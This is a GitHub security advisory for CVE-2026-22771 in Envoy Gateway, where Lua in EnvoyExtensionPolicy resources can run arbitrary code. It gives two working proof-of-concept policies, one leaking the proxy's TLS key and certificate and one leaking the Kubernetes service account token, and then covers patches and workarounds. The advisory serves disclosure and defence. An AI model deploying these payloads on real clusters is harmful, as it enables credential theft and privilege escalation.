Skip to content

Envoy Extension Policy lua scripts injection causes arbitrary command execution

High severity GitHub Reviewed Published Jan 12, 2026 in envoyproxy/gateway • Updated Jan 13, 2026

Package

gomod github.com/envoyproxy/gateway (Go)

Affected versions

>= 1.6.0-rc.0, < 1.6.2
< 1.5.7

Patched versions

1.6.2
1.5.7

Description

Impact

Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:

  • An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
  • Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open("/certs/tls.crt", "r")
             local content
             if cert then
                content = cert:read("*all")
                cert:close()
             else
                content = "file-not-found"
             end
             local keyfile = io.open("/certs/tls.key", "r")
             local contentkey
             if keyfile then
                contentkey = keyfile:read("*all")
                keyfile:close()
             else
                contentkey = "file-not-found"
             end
             local keypair = contentkey .. "\n" .. content
             response_handle:body():setBytes(keypair)
             response_handle:headers():replace("content-length", tostring(#keypair))
             response_handle:headers():replace("content-type", "text/plain")
           end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Results in:

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
[...]
status:
  ancestors:
    - ancestorRef:
        group: gateway.networking.k8s.io
        kind: Gateway
        name: eg
        namespace: default
      conditions:
        - lastTransitionTime: "..."
          message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
        traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
        in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

Patches

The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:

  • Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
  • Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
  • Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.

Workarounds

Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

References

@guydc guydc published to envoyproxy/gateway Jan 12, 2026
Published by the National Vulnerability Database Jan 12, 2026
Published to the GitHub Advisory Database Jan 13, 2026
Reviewed Jan 13, 2026
Last updated Jan 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(59th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-22771

GHSA ID

GHSA-xrwg-mqj6-6m22

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.